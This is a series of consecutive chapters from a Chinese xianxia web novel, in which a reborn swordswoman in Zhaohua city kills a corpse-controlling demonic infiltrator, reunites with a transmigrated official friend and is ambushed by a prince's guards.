她随着人流走向为修士开放的出入关口,审阅通关玉牃的仙吏是个满脸疲色的中年男子,接过她递过的玉牃也不查阅,而是反手插进一个顶部有狭窄凹槽的盒子中。 姚珍珍看见玉牃随之发出柔和的灵光,中年男子抬头一扫她的面孔,确认与玉牃中记录的无误后微微点头。 “海外来的?”他显然是看见了玉牃内记录的信息,好心地多解释了几句,“把手放这里,输入一点灵力,核对记录无误之后就可以过去了。” 他手指着那盒子边上一块向内半凹陷的石板说道。 “走之前记得把玉牃带走。” 姚珍珍一时颇为惊奇。她上次进入昭华城还是八年前,那时候通关还需仙吏亲自一一核对玉牃,远没有如今这般简便的机巧工具可用。 ……而且这巧物的形制,实在是有些眼熟。 她将手掌放进那个凹陷中,调用体内灵力输入其中,那盒子内部发出一声短暂的锋鸣,内部机扩声咔嚓作响,凹槽中的玉牃也随之被顶起。 她有心再多看看,但身后等着入关的人群还有许多,那中年吏士看起来也没有多余的耐性在给她,只是朝她挥挥手,示意她尽快离开。姚珍珍也只好取了通关玉牃,转身离开了关隘。 一进城中,更觉四处不同,眼前所见道路如何宽阔平整自不必提。路面中央一道平直的白线,以此线为分隔,两边车马交错而行。道路两侧则有石砖铺出行人道路,两边商铺五花八门,屋顶却悬挂着规格统一的牌匾,叫人一眼就能看出其所售何物。 整条街道上人马车流如织,拥挤却不混乱,显出一种秩序下的勃勃生机来。 姚珍珍的惊讶简直溢于言表。关隘处的机巧或许还可能是巧合,但如此街道设计,实在过于眼熟了…… 她顾不得其他,转身瞧见了关口不远问询处坐着一个身穿深蓝制服的小吏,便快步走向对方。 “劳驾,请问如今昭华城主事的仙官是哪位?”她也不拐弯抹角,开口问道。 那小吏同样是一副要过劳死的面相,见有人向自己走来,条件反射地扯起嘴角摆了个精疲力尽的笑面,听了姚珍珍的问题后倒是微微一愣。 “姑娘是哪里人?可是从未来过昭华么?”他上下打量了一番姚珍珍穿着,心想素日来咨询的都是问路问价的多,倒是第一次有人来问父母官是谁的,“昭华城如今的主官是昭华本地出身的修士,姓汤,名容林。” 一听这个名字,姚珍珍心中便了然。她向着这位仙吏点头致谢道:“多谢,我自海外楠九岛而来,对此地风物了解确实不多。” 吏士脸上露出果然如此的表情,转身从桌下掏出一本两掌大小的册子。 “若有疑惑,姑娘可翻阅此书,”他将其中一页展示给姚珍珍看,“吃喝住行,皆有推荐,由昭华城官方文殊局编纂而成。一本售价十五铜子,价格公道,童叟无欺。” 价格的确是不贵,姚珍珍心中暗道。她看见了对方翻开的那一页册子上从上到下罗列了数十条客栈名字,并有地址与价格参考,对外来者来说的确很实用。 且一本册子收15铜子,而不是等价的3枚灵珠,定下此价格的人定然是考虑过来往昭华的不止修士,还有大量普通人。 她点点头,从腰间系着的荷包里取出3枚灵珠递过去。对面男子也不啰嗦,一手利落地收了钱,一手把册子递给她。 “另有一言,因着近日仙试将启,来昭华的人实在是多。姑娘若是要寻住处,这册子上介绍的店家怕是供不应求,还是往城西边去寻为佳,那里有专为女修提供的官舍。” 姚珍珍接过书,闻言挑了挑眉。 “原来如此,多谢提醒。” 她向这位热心肠的更吏道了别,转身向城内而去。 陆哲被她提前打发下船去寻旅舍了,姚珍珍在他身上留了一道寻踪的符箓,约好了晚些时候再去寻他,这会儿倒是不急再寻落脚地。 此时天色才刚刚擦黑,姚珍珍在手册中翻过一页,看见除了记录昭华城内吃喝玩物之外,这手册后半竟然全是这次浣金仙试的相关介绍。 她随意翻了几页,就看到好几个熟悉的名字,一时兴起,干脆在路边找了个茶摊,坐下来边看边吃。 等她意犹未尽地翻完了后半本介绍参选人员的手册,吃完了一碗凉面并一碟麻糍后,天色已经完全黑了下来。 招手喊来小二结完了账,姚珍珍将手册随手一卷塞进储物袋里,转身离开了座位,慢悠悠地踱步出了茶摊门。 街道上,一队统一着装的玄甲骑士从街道另一边打马而过,姚珍珍瞧见他们朝着自己而来,后退半步让开了道路。 为首者在茶摊面前勒停了脚步,一群人利落的翻身下马,沉重铁靴在地面踏出整齐的响声。 “白郁湄是吗?”玄甲骑士的声音从面具后传来,是清亮的少年音色,“司宪大人召见,请随我们前往玄机处。” 他伸出手,铁甲覆盖的掌心里,深青色的令牌闪烁着微光。 围观人群顿时发出阵阵私语声。 玄机处,南陆仙朝特设的监察机关,各洲各城皆设有次级机构,与仙官制度并行而立。 统领各级玄机处的修士被称为司宪,负责稽查仙门散修间各项违禁事宜。 姚珍珍不置可否的挑了挑眉,她猜到玄机处会就云舟被劫一事进行盘问,倒是没想到对方来得如此之慢。 不过这一趟是必不可少的,她也不会莽撞到当街反抗这座城池的执法者,当下便点了点头: “带路吧。” 这队玄甲铁骑末尾还带了空置的马匹,但瞧见姚珍珍身姿纤弱,为首的年轻骑士还是问道: “你可能骑马?如若不能,我们也有女性铁骑在此。”他话音刚落,身后队伍中便走出另一个身材稍矮的玄甲骑,利落地掀开玄铁头盔,露出一张令人惊艳的芙蓉面来。 11. 审问 《你师姐永远是你师姐》全本免费阅读 玄机处内部守备森严,姚珍珍在入口处被卸下了随身兵器,又将储物的灵袋暂存,这才随着那少年玄甲骑踏入正院内。 姚珍珍将马匹缰绳交给院中迎上来的杂役,跟着那领头的少年穿过几道幽深的回廊。 长廊两边铜色兽首的烛台上跳跃着深青色灯火,随着两人匆匆而过的脚步摇曳着 “请。”最终,他们停留在一间外形古朴的宫室前,少年玄甲士停住脚步,向姚珍珍做了个手势。 姚珍珍踏入室内,屋内主座上坐着一个身姿纤细的女性官吏,正低着头在几案上奋笔疾书。她背后画屏上,栩栩如生的描绘着一枚孔雀翎羽,宛如一枚睁开的眼睛。 “请坐吧,白姑娘,”她头也不抬的随意道,“无须紧张,玄机处只是询问你与陆哲在云舟上的经历。” 姚珍珍也不客气,施施然在客座坐下了。 “砰!”的一声,是守在外面的人将门重重地合上了。 “白姑娘,你是何时登上云舟?”那女子终于写完了手下卷宗,将笔墨搁置一边,抬起了头。 姚珍珍这才注意到她瞳色极浅,在烛火幽幽中反射出清亮的碧色。 “七月十日的上午。” “何时发现船上有魔修混入的?” “……十六日午时,我因身体不适,与夫君分居。午休醒来时发现船上众人已被妖人所害,”姚珍珍侧过头,做出回忆的姿态,“魔修在船上食水里下了涣灵散,我当时已多日不进水米,最终奋起反抗,才能逃过一劫。” “不错,与你丈夫所言符合,”对面女子微微点头,“魔修尸身已由剑宗弟子送至玄机处进行核验,一共一十六具,其中三女十三男,数量可有误?” 姚珍珍却忽然皱起了眉头。 “十六?” 当日云舟上情况紧急,魔修在食物中下了足量的涣灵散,白郁湄也不是真的水米未进,她实际上是在未动灵力的情况下斩杀了船上的一众魔修。 十六式踏雪旋光,除了她房内那个被灵剑反噬的魔修,她拢共出了十六剑,招招毙命。 ——所以那船上,除去被害的其他修士,应当有十七具魔修的尸身! “不,不是十六……”她抬起头,“当时船上应有十七具尸身。” 主座的女吏也皱起了眉。 “可有记错?我们已清点了剑宗所送全部尸身,数量并无错漏。” “若少司宪不信,便带我去亲自辨认,”姚珍珍站了起来,"若是连自己出了多少剑都会记错,我也不必再使剑了。" 碧色眼瞳的少司宪深深注视眼前女子良久。 “好!那便去看看。”她从桌面竹筒中抓出一枚鲜红令牌,挥手掷出。 令牌“啪!”的一声落在姚珍珍身前地面上,纵横交错的灵光从地板上交错亮起,组合成一个令人目眩神迷的法阵,机扩绷紧的“咔嚓”响声从房屋四壁传来,伴随着地面连绵不绝的震响。 姚珍珍单手握住了身后交椅的握把,剧烈的震动持续了许久,直到“轰隆”巨响最后响起,一切恢复平静。 她再次站定,环顾四周,发现所见已完全不同。 房间两边墙壁上不再是素雅的淡色锦纹纸,而是裸露的灰质岩石,石壁上挂着铜制烛台,燃着惨白的灯火。 主座上的女司宪站起了身,姚珍珍注意到她身后画屏上,那枚华美的孔雀翎依旧熠熠闪光,只是张开的翎羽中央,那中央圆形花纹已经合拢,仿佛一只闭上的眼睛。 “请随我来吧,白姑娘。”她从几案上举起一盏烛台,向着屏风后而去。 姚珍珍习惯性的想要抚摸腰间长剑,却摸了个空。 她这才想起在进入玄机处之前,所带兵刃便已被收缴,只好空着手追上了前方女子的脚步。 这屏风后果然别有洞天,穿过一道厚重的石门,姚珍珍眼前忽然一亮。 眼前所见豁然开朗,宽阔的密室顶部铁架上悬着几排冷烛,地面上一张张石台间隔均匀的排放着。姚珍珍粗略一扫,这间石室中约有上百石台。 姚珍珍随着女子的脚步踏入室内,明显感觉到此处温度较外界低了许多。 “便是此处。”捧着烛台的女子转过身来,随着她的话语,姚珍珍瞧见了眼前一排石台上整齐摆放的尸首。 她点了点头,开始低头逐一辨认。 十六具尸身皆四肢完好,只有脖颈处一处致命伤,姚珍珍认得出那是自己的手笔……。 十六剑,十六具尸体,只少了一具。 ——在她苏醒的最开始,被她驭使灵剑强行弑主杀死的那个北域魔修。 “可有发现?”身后光源靠近了些,那女子在她耳边出声问到。 “……”姚珍珍转过了身,她凝视眼前女子手中烛台,烛火在灯盏中安静的燃烧着,火焰纹丝不动,“尸体数量没错。” 姚珍珍忽然伸手在眼前烛台的火焰上轻轻一撩,不出所料感受到一片冰凉。 “阁下好精妙的易容术,竟然能瞒过这许多人来,”她合拢手掌,张嘴呵出一团白汽,“只是一次教训不足,还想再试试我的剑么?” 在她身后,那些本安静躺在石台上的躯体忽然发出“窸窣”的声响,慢慢坐了起来。 碧色瞳孔的少司宪绷紧了嘴唇,松开了手。 她手中烛台“砰”地一声落地,仿佛某种信号般,房间顶部光源同时消失,一切都陷入了黑暗。 “看来各位是舍不得入土为安,非要求个碎尸万段了。”姚珍珍抬起手,指尖一点微光闪烁。 随着“噗”地一声脆响,女子手中玉质的白梅钗尖上,顺着滴滴答答地淌下一连串污浊的黑血来。 *** 玄机处正院。 陆哲正百无聊赖的靠着椅背打盹。 一阵急促的脚步声从身后传来,他撑在靠背上的手顿时一滑,头颅随即重重一点,懵懂的醒了过来。 四周传来乱哄哄的嘈杂声响,肃穆庄严的玄机处仿佛忽然变成了喧闹的菜市口,热闹得让陆哲怀疑自己是否在睡梦中走到了闹市中。 “来了吗?” “快到了快到了!” “还有两个道口!” “谁取走了我的发冠?快 12. 暗号 《你师姐永远是你师姐》全本免费阅读 “噗嗤”一声,是液体喷溅的声音。 姚珍珍动作轻巧地侧过头,避开身后魔修斜刺而来的一掌。 “熄灭烛火,操纵尸体来战斗,”她不紧不慢地说道,话语间指尖玉簪转动,猛地向上撩起,“很好的思路。” 又一具尸体被开膛破了肚,哗啦一声,腐臭的内脏流了满地。 “失去了视觉,死人不会有心跳,也不会有杀气,而我这个活人却做不到。”一柄乌沉的环首刀划破冰冷的空气,朝着姚珍珍的脖颈劈去,被她抬手一指重重点在刀身侧面,刀刃不受控制的滑向一边,刀的主人当即想要调整力量,但下一秒—— 女人温热的手指搭上他已经腐烂的脖颈,如同擦拭珍贵的器皿般,动作不疾不徐。 “喀嚓——”是人骨节被暴力拧转的声音。 “敌在明彼在暗,连兵器也换成了不通灵性的凡铁……你是真的很谨慎。” “敢让你们涉险在玄机处布局杀人,我是不是该觉得荣幸?” 仿佛是为了故意向对方展示自己所处的方位一般,漆黑的石室中,女子一直在对着暗处的敌人自言自语。 她每次一开口,尸群便向扑向火光的飞蛾一般冲向声源处,但每次除了留下一具更破烂的尸体外,似乎并未能给对方造成更多的伤害。 “怎么不敢回答呢?少司宪大人,是怕我找到你么?” 这次是一声重重的闷响,又有一具活尸失去了再次被利用的价值。 被姚珍珍点到的女吏却不敢回话,她十指间缠绕的丝线正以堪称均匀的间隔寸寸崩断——那代表着她操纵的活尸正在一一被摧毁。 见鬼,明明熄灭烛火是为了断绝这个女人的视觉,但这个海外来的女修,名不见经传,身法却如此鬼魅,除了她发声时,竟然无人能知晓她在哪…… 此人实在是棘手,魔修碧色的眼瞳在黑暗中微微眯起。 她悄无声息地后退了半步。 我得走了,我得把消息传给陛下,这个白郁湄…… “要走了吗?”女人的声音忽然在她耳侧响起。 女子碧绿的瞳孔急剧收缩,她猛地后退,手中丝线本能地向后一拉,但却失败了。 “啪。”姚珍珍打了个响指,指尖亮起一点幽蓝的灵火。 “应滕玩剩下的小把戏,”她摊开手心,掌间缠绕的丝线反射着粼粼微光,“他自己都不敢在我面前卖弄,你倒是胆子大。” “你……”当机立断的,魔修松开了手中丝线。 这个女人,她竟然直呼陛下名讳…… 我要逃走,我必须逃走! “我知道应滕会给你们种下心蛊,”面对眼前女子几乎不顾一切地转身奔逃之举,姚珍珍却仿佛毫不在意,“你们是他的眼睛……但就算是心蛊,把消息传回去也是要时间的,对吧?” “只要在发作前杀掉,他就什么都不会知道了。” “噗嗤!”白梅玉簪从女子光洁的脖颈后处刺入,又从前端穿出,浓黑的污血从伤口处喷溅了出来。 女修身体向前扑倒,她的喉咙里发出“咯咯”地含糊声响。 然后是“砰”地一声,她的身躯倒在了石室的出口处,再也不动了。 姚珍珍从她身后走过来,手指握住钗子顶部雕出的白梅,轻轻用力。 “你瞧,”她将擦净的玉钗重新簪回发髻中,“多简单,我可不会犯同样的错误。” 铜制的烛台再次重燃起惨白的烛火,姚珍珍端着那盏被女修抛掷在地的烛台,向着出口走去。 魔修的埋伏于她而言只是不痛不痒的小事,但她的心情却并不如何轻松愉悦,动手时更有些泄愤般的炫技。 一股暴虐的心火埋在姚珍珍的灵魂深处,似乎随着姚珍珍脱离原身,曾经压制这力量的封印也随之不见了。姚珍珍发觉自己的心绪比以前更易波动,像是即将爆发的山火般沉默而沸腾。 她闭了闭眼,强行压下脑海中叫嚣着尤不满足的杀意,开始试图厘清现在的情况。 玄机处的提审应当是真的,若无羁押令牌,没有人能随意调动如此多的玄甲骑,但这位少司宪…… 姚珍珍蹲下身,伸手掀开她的深蓝官袍,仔细摸索了一番,并没有发现先前在船上所见的六臂金莲配饰。 想来能在玄机处做到少司宪的职位,这个潜伏进来的魔修也不会愚蠢到在身上留下什么魔教妖人的把柄。 只是修习控尸之术,身体定然日渐趋于一具活尸,没有呼吸体温的一具尸体,要如何担任少司宪?她是如何瞒过玄机处上下如此多修士的? 或者说……玄机处自她往上,是否有更大的内鬼? 想到此处,姚珍珍忽然觉得有些心累。 前世她还在剑宗时,虽然有时也觉得疲惫,但那段时间里,她更多的是觉得习剑很累,除魔四处奔走很累…… 因为淼淼和鸣臻会替她打点好其他的琐事,姚珍珍只需要拔剑就好——姚珍珍有时候也会觉得自己其实就是这两人手中利剑而已。 但做一柄剑有什么不好呢?只要它被握在正确的人手里,只要她杀的是应死的人。 反观如今,七年过去,那些曾经被她杀得十不存一的魔修竟猖狂至此,而她死而复生,面对的却是一团乱麻。 连杀山当日的结果尚不明晰,应滕的下落更是毫无头绪,昭华城因仙试原因鱼龙混杂,她甚至在玄机处见到了早已死在连杀山之人重新出现…… 若是从前,她应当去找淼淼或者鸣臻,躺在大美人的腿上等着投喂,听他们给自己掰开揉碎了分析利弊关系,然后提着剑去找幕后黑手,让他们后悔自己为何要出生在这个世上来。 但现在这二人也变成了迷雾中的一环,一好一碎的两块命牌成了搁在姚珍珍心头的一块疑云,即使并不如何相信外界流传所谓桃色绯闻,她依然忍不住要质疑,在重重谎言下,这两人还留有多少真心。 有灵之剑如果不能完全信任执剑者,最好的结果是便是就此折剑。 长叹一声,姚珍珍绕过屏风,走入了最开始的那间提审室内。 来时的入口已变成了一堵厚重的石墙,若是暂时没有拆屋动房的打算,姚珍珍还得寻找其他出路。 她走上了屏风前的主座,将竹制的笔筒翻倒在桌上。 姚珍珍将堂下捡回的红色令牌放回桌上,三支颜色不同的令牌并列在一起,她仔细的端详了每一枚令牌上镌刻的花纹。 很遗憾,即使剑道天赋举世无双,但在其他方面,姚珍珍的悟性只能说是平平。 “……这有区别吗?”对阵法了解基本只停留在入门阶段的姚珍珍发出了由衷的疑惑声,她先是试着拿起那枚红色的令牌,输入灵力后掷向地面。 “啪”的一声,什么都没有发生。 姚珍珍深吸一口气,拿起了第二枚绿色令牌。 这枚目的地不明的通行秘钥甫一接触地面,灼灼灵光便飞速流窜着铺满了整个地面,之后是熟悉的震颤感。 姚珍珍面上闪过一丝喜色。 难道真是红绿二色对应来去的两套法阵?她心想到。 *** 作为昭华城的父母官,汤容林每天都很忙碌。 尤其是最近仙试将启,此次仙试参与者前所未有的多,几乎是前届的一倍还有余。 这样巨量的外来人口输入,不仅对昭华城的城防安检系统是极大的考验,更对城内各营商产业造成了巨大的冲击,仙官府门几乎天天被各类上门求告的拜帖塞满。 好容易处理完了一 13. 剑仙 《你师姐永远是你师姐》全本免费阅读 汤容林此人,出身仙门世家,因为生身父母皆为修士,所以他生来就已入境,起点便在很多人的终点前。又因为是老来得子,被父母溺爱得如珠似宝,骄纵出满身的坏毛病。 年纪还小时,家人把他拘在族内,他便四处招猫逗狗,惹得族内其他子弟敢怒不敢言; 到了他及冠那年,姚珍珍第一次参加浣金仙试。汤容林被父亲带去昭华观试,回去后便撒泼打滚闹着要习剑,父母拗不过他,只能将他送去了剑宗。 可汤少爷从小锦衣玉食,哪里能忍得住夙兴夜寐的修习之苦?不过半月,便被家人又接回了族内。 只是在返程途中,汤容林所乘车马被歹人盯上,钱财宝器全被劫掠一空,金装玉裹的小少爷被人从后心上捅了个对穿,扒光了衣服推进了三陆河里。 汤容林就此溺亡在冰冷的河水里,代替他醒来的是汤旻,一个来自二十一世纪的普通大学生。 汤旻带着汤容林的记忆回到家族,花了五年时间从人憎狗嫌的纨绔成为家中楷模,在仙门殿选中被燕鸣臻点选做了他的伴读。 在见到姚珍珍之前,汤旻一直对自己天命之子的身份深信不疑,因着出身的关系,大部分人也都待他客气,便是燕鸣臻,也总是愿意听听他那些异想天开的构想。 可南纤洲一战,汤旻随着燕鸣臻前往前线劳军,他见到了什么是真正的人间炼狱,也明白了自己终究不是所谓救世主。 彼时新上任的妖王幸黎因为血统存疑而饱受质疑,他急切的需要一场大胜来抚平身后族人饥渴的权欲。毗邻妖族领土,气候湿暖,人口众多的南纤洲成为了他稳固权力的牺牲品。 “凡我所踏的土地,其上一切人类律法皆作废,”他将血栀酒浇在耿孺的头顶,直到这个时任南纤洲大司政的年轻修士被剧毒的血酒腐蚀成一具骷髅,“去吧,去享用你们的战利品。” 汤旻带着大批的粮草到达南纤洲时,见到的便是一块浸透了人族血泪、被蹂躏摧残的土地。 ——生者奔亡逃散,逝者露屍无掩,幼子孤民,流离系虏。[1] 汤旻为此连做了几日噩梦,隔日遇见了从前线回来的燕鸣臻。 “殿下,”他眼底下是连片的青黑,神情却并不疲倦,“殿下,我们该怎么做?我们得救他们……” 他祈求地望向眼前这位无论何时总是显得成竹在胸的三皇子,他曾经私下和同僚谈起这位殿下过于注重仪态,行事总是优柔寡断,不是栋梁之才,不及自己的天命所归…… 但如今,无论是谁,不管是谁,谁来教教他,要怎么救下南纤洲?要怎么结束这一切苦难? ……汤旻终于后之后觉的明白自己不是所谓天命之子,他曾引以为傲的,来自现世的记忆与知识是如此的浅薄和贫瘠。 他不是救世主,他救不了任何人。 汤旻颓丧地瘫软在地,开始质疑自己到来此界的原因。 “他怎么了?”有人忽然说道。 汤旻看见了一个血人向着自己走来。 直到走到近前,他才瞧见那是个一身红衣的女子——不,她那一身并不是红衣,只是被鲜血反复泼洒浸染而致。 “容林初次来战场,没见过这等血腥场面,一时难以接受,不妨事,我让人给他灌些安神汤药,”燕鸣臻将几捆药材扎好,回头瞧见了姚珍珍身上血污,眼中露出几分忧色,“可有受伤?需要叫医官吗?” 姚珍珍将手中长剑拄在地面,轻轻喘出一口气。 “无妨,有点脱力了,”她本想撩起衣袖擦擦脸上血渍,但见浑身没有一块干净的布料,只能遗憾作罢,“对面首领逃的太快了。” 燕鸣臻拉起自己的衣袖,抬手替她擦去眼角血迹。 “事关紧急,我不拦你,”他将浸透血水的衣袖拧干,又换上另外一边干净的布料,继续替她擦拭额间,“幸黎狡诈,你要千万小心。” 汤旻瘫坐在地,呆呆的看着这二位喁喁私语了一阵,燕鸣臻搂着那女子的肩膀,喂她咽了一颗补气丹,然后那浑身浴血的女修再次御剑而去。 燕鸣臻将脏污的外袍褪下,走到了汤旻跟前。 “先起来吧,”他伸手拉起他,“这场仗还没有输呢。” “你不是问我们该怎么做吗?” “我们唯一能做的,就是给珍珍打扫出一个安稳的后方来。” 汤旻不是第一次见姚珍珍。 这个近年来声名鹊起的女剑修是燕鸣臻选定的未来皇妃,汤旻曾见过这位丰神俊朗的殿下是如何对着这个女修寄来的书信痴笑的。 也见过燕鸣臻如何为了一份送她的礼物而辗转反侧的。 他曾经瞧不上这些耽于儿女情长之人。 但现在,燕鸣臻告诉他,结束这场战争,只能指望一个姚珍珍? 来自现代的知识限制了汤旻的想象力,他知道姚珍珍很强。 但是,一个人的强大,能够改变一场战争的结局吗? 事实证明是可以的。 姚珍珍带着一柄血剑连下七城,六颗血淋淋的大妖头颅悬在了联军阵前。 幸黎也在逃窜中被血剑斩去一足。 汤旻跟在燕鸣臻身后,迎接姚珍珍的归来。 她的脸颊依然带着少女的娇憨,汤旻却不敢再直接迎上她的目光。 燕鸣臻上去确认她的安危,汤旻落在了两人身后。 “我去……这就是凤傲天吗?”他疑惑的抬头看天,发出低声的感叹,“难道我不是主角,她才是……?” 然后他听见姚珍珍发出一声笑声,好像听见了什么很滑稽的笑话。 “珍珍?”燕鸣臻低下身去看她的脸色,却被她伸手抵着头推开了半分。 汤旻也愣在原地。 他忽然有了一个非常离谱的猜想。 非常疯狂。 但他现在就可以验证它。 “……大师姐,”他选择了一个众人用得最多的称呼,谨慎道,“我能问你一个问题吗?” 姚珍珍饶有兴趣的点了点头。 “你先说,”她此刻心情显然颇为放松,“我也有话想问你。” “师姐,我的问题是,”汤旻咽了咽口水,“奇变偶不变 14. 恶客 《你师姐永远是你师姐》全本免费阅读 汤旻愣在原地。 他当然知道陆眉山,但在此之前,那只是史书里无数个光辉灿烂的名字之一。他的名头太遥远又太传奇,以至于汤旻一时间没能把姚珍珍口中疑似穿越者的“陆院长”和那个早已死去的剑仙联系起来。 回过神来,汤旻又忍不住失落怅然许久,原来自己的“前辈”竟然有如此成就……倒比自己如今这一事无成强上许多。 只可惜陆眉山死得早,汤旻只能从后人的只字片语中勾勒出这位前辈的身影。 倒是姚珍珍这位有着部分现代记忆的半个“古人”,汤旻与她迅速的熟络起来,速度快得让作为中间人的燕鸣臻都感到吃惊。 只可惜他还没来得及请这位知交好友喝上一次升官宴……燕鸣臻手中命牌碎裂的时候,汤旻正与他一同参加珏罗大集——汤旻想着为祝女士选生辰礼,自己又没什么审美情趣,便强拉了上司来作陪。 他们在拍卖会上因为一方腊印与墨展宗的少宗主起了些冲突,这本是小事,可燕鸣臻贴身的命牌却当场碎裂…… 汤旻回忆至此,忍不住深深打了个冷颤——即使与燕鸣臻认识多年,他依然会对这个仙姿佚貌的上司感到些微的恐惧。 尤其近年来,这位三殿下行事越发偏激,又时有死志,叫他这个外人瞧见了都触目惊心。 他知道这一切都是因为姚珍珍的猝然离世,却只能看着好友为此悲痛欲绝,无能为力。 好在,一切还没有走到不可挽回的地步;好在,姚珍珍再次回来了。 作为故友,汤旻真心诚意的为她的归来而欣喜。 “……我是不是忙得太累所以在做梦呢?”他伸手掐自己的大腿,发出“嘶”地一声痛呼,“师姐,这七年你都去哪了?” “这还是换了个壳子?借尸还魂?怎么做到的?”他不由自主地向前几步,想要仔细端详姚珍珍如今的样子,“……三殿下可知道你回来了?” “说来话长,以后再和你细讲,”姚珍珍稍微放松了一些心情,至少汤荣林的表现还算坦荡,她姑且还是愿意相信这位旧友的品行,“昭华城的玄机处被魔修渗透成了筛子……我在来的路上杀了几个净莲教的余孽,这位少司宪便借着提审名义把我带进密室试图围杀。” 她脚尖点了点地上死不瞑目的头颅。 “我如今身份不便对外公布,你是昭华城的父母官,此人便由你处理,”她简短地说了一遍前因后果,又想起了一件事,“玄机处下辖的玄甲骑里,有一个叫吕平灵的女修,出身明砚宗,入魔后弑亲叛逃,七年前我亲手将她杀死在连杀山……” 汤旻闻言倒抽一口凉气。 “这个人,”姚珍珍斟酌半响,“……暂时不要惊动,密切注意她的动向。” “她的形貌未曾改变,是如何通过玄甲骑的选拔的?”说到此处,姚珍珍又不免头疼,“应滕不知我的死讯,蛰伏七年,这次仙试,他一定会来探一探虚实……” “可是一个吕平灵能做什么呢?”她揉了揉眉心,“老汤,你有没有思路?” 汤旻从桌边提起陶壶,给她沏了一杯茶。 “姐,你可真瞧得起我,”他臊眉搭眼道,“仙官试我考了三年才过的,那脑子还不如你呢。” “我本与三殿下约好了,他晚些时候会来我府上,”汤旻捧着茶杯,小心觑着她的脸色,“师姐,你……回来后还没见过他吧?” 姚珍珍的脸上露出犹豫的表情。 对于燕鸣臻,刚从白郁湄身上醒来时,她的确是很想见到他的。 只是随着云舟一路而来,关于他与淼淼的流言纷纷扬扬听了满耳,再坚定的情真也会动摇。 真到重逢之时,姚珍珍反而有些近乡情怯般的逃避心态。 “我……”她靠着椅背坐了下来,不确定地说道,“鸣臻他这几年……” 她犹疑着,最终还是没想好该问些什么。 “唉,别提了,”汤旻却一下子打开了话匣子,显然对此积怨甚多,“三殿下确实变了许多,我有时候真是怕他。” 他搓了搓胳膊,露出心有戚戚的模样。 “还有姚淼淼那个疯婆娘,”他真心实意地抱怨起来,“我都不知道他们在想什么,之前说是要隐瞒师姐你的死讯来震慑那些魔修。但是今年仙试又请了你当武试裁断,千里迢迢的把那傀儡从洛萍运来,引得昭华城人满为患,我们这些仙官从早忙到晚也不够……” “还有他俩传的那些……”他滔滔不绝的抱怨忽然卡了一下。 姚珍珍坐在对面,默不作声地看着他。 女子的面容隐没在灯火的阴影中,她的脸色苍白,眼珠却极黑,闭口不言时便如一尊无暇的玉佛般,既冰冷,又无情。 她此刻的神色倒是与汤旻口中那位三殿下十足相似,让他忍不住瑟缩了一下,想说的话也一下忘了词。 “你说的对,”仿佛是看出了汤荣林脸上的畏惧之色,姚珍珍勉强提起嘴角笑了一下,“三殿下何时过来?我便在这里等他。” 汤旻欲言又止地看了看还躺在地上的魔修头颅,目光又落在姚珍珍染着深褐血污的裙摆。 姚珍珍的眼珠随着他的视线移动了一下,也反应过来了。 “……府上可有合适的衣衫?借我一身吧。” *** 沧磐府。 姚淼淼不是第一次拜访此处,王府的侍从不敢拦她的车架,车马跨过正门,正遇见一个穿深蓝官袍的仙官从一边的偏殿施施然走出来,向着姚淼淼的方向遥遥一礼。 “姚仙子,看来您和在下一样,来得不巧。”他生得其貌不扬,穿得也朴素,满头斑驳银发用一只玉冠束在脑后,若不是那身官服,瞧上去就像个普通的中年男子。 姚淼淼却不敢怠慢,掀开马车帷幔,亲自下车回了礼。 ”不想竟遇见周夫子,“她俯身盈盈一拜,”如此深夜,三殿下竟不在府内么?“ ”实在是不巧,殿下今日约见了汤司政,眼下应当已在司政府上了,二位,还请见谅。“一边的王府侍从适时接话,满脸赔笑。 “无妨,无妨,”被称为周夫子的官吏摆了摆手,“本是我唐突上门,且今日虽未能见到三殿下,但有幸遇见姚仙子,也算不枉此行。” “只是我既为司礼官,少不得多言一二句,”他转过头看着眼前绝代佳人 15. 重逢 《你师姐永远是你师姐》全本免费阅读 书房内一时安静到落针可闻。 汤旻惊恐地睁大了眼睛,眼看着仿佛是无中生有,从房内角落灯光照不见的阴影处,走出两个浑身黑衣的侍从,沉默而高效地执行了燕鸣臻的指令。 他们的手中都带着兵刃,显然对于燕鸣臻“要活的”这个命令有着相当极端的理解。 “殿下!那里面的是……”事态急转直下,汤旻心中急切压过了恐惧,他开口想解释,话却只说了一半便被打断。 “嘘……”青年的双手保养得极好,根根分明如美玉雕就,此刻他竖起了一只玉笋般的手指,抵住了自己的嘴唇,淡色薄唇轻启,吐出一段令人酥麻的气音。 “好了,”燕鸣臻另一只手轻轻的搭在了汤容林的肩膀上,“我会自己看的。” 他的声音很轻,动作也相当温柔。但汤旻是见过这位殿下如何对待那些不太顺驯的反抗者的,当下一股寒气从尾椎骨冲到天灵盖,硬生生把他想说的下半句话冻在了嗓子眼里,脸都憋得通红。 隶属于南陆皇室的影侍都是被精挑细选的死士,燕鸣臻手底下这批更是其中佼佼者,手段之酷烈与忠心程度成正比。 而那位大师姐,据他浅薄的认识来说,从来也不是逆来顺受的软脾气——能做出带着颗血淋淋的头颅硬闯别人书房这种事的奇女子,汤旻简直能想象出她会如何反应了。 完蛋……汤旻心中划过两个绝望的大字。 ——这场本该喜人的久别重逢,眼见着就要奔向一个令人始料未及的血腥结局去了。 *** 姚珍珍正在客室内更衣。 ——实在不是她有意磨蹭,汤容林显然没胆子给这位大师姐送一件侍女的衣服,所以他送来的是他的发妻祝夫人的旧衣——一件绣工精美的、里外足有四层的藤纹襦裙。 姚珍珍褪下了脏污的外袍,将那面料各不相同的内搭外衫一件件拿起来研究许久,才犹疑着穿上了身,然后浑身不自在的满屋找镜子——她总是疑心自己把某件衬裙穿错了位置。 直到门外传来微不可察的脚步声,她才一松手挥散了灵力凝结的水镜。 几乎是水镜破碎的一瞬间,那扇并不算单薄的门被裹挟灵力的剑锋生生搅成了碎木,两柄同样寒光闪烁的宝剑从不同的方向刺向了屋内站着的女子。 只来得及从鼻腔里发出一个疑惑的音调,几乎是本能的,姚珍珍运起步法,连退数步,直到小腿肚抵住一张低矮的案几才停下。 灵力凝聚而成的剑气在石板地面上留下两道不浅的裂口,从客室的入口向前延伸,最终险而又险地停在了姚珍珍的鞋面前。 ……和先前林羽觞那主要是试探的一剑不同,这次的两人是存着必杀的决心来的。 姚珍珍的表情一下子阴冷了下来。 白郁湄的面相是天然的孱弱动人,但此刻完全不笑的时候,眉目间竟然也有几分怒目金刚般的凌厉感。 几乎是瞬间,一剑落空,另一剑便已接踵而至! 姚珍珍反手抓起身后一个吞云吐雾的雕金香炉,重重向前一砸! 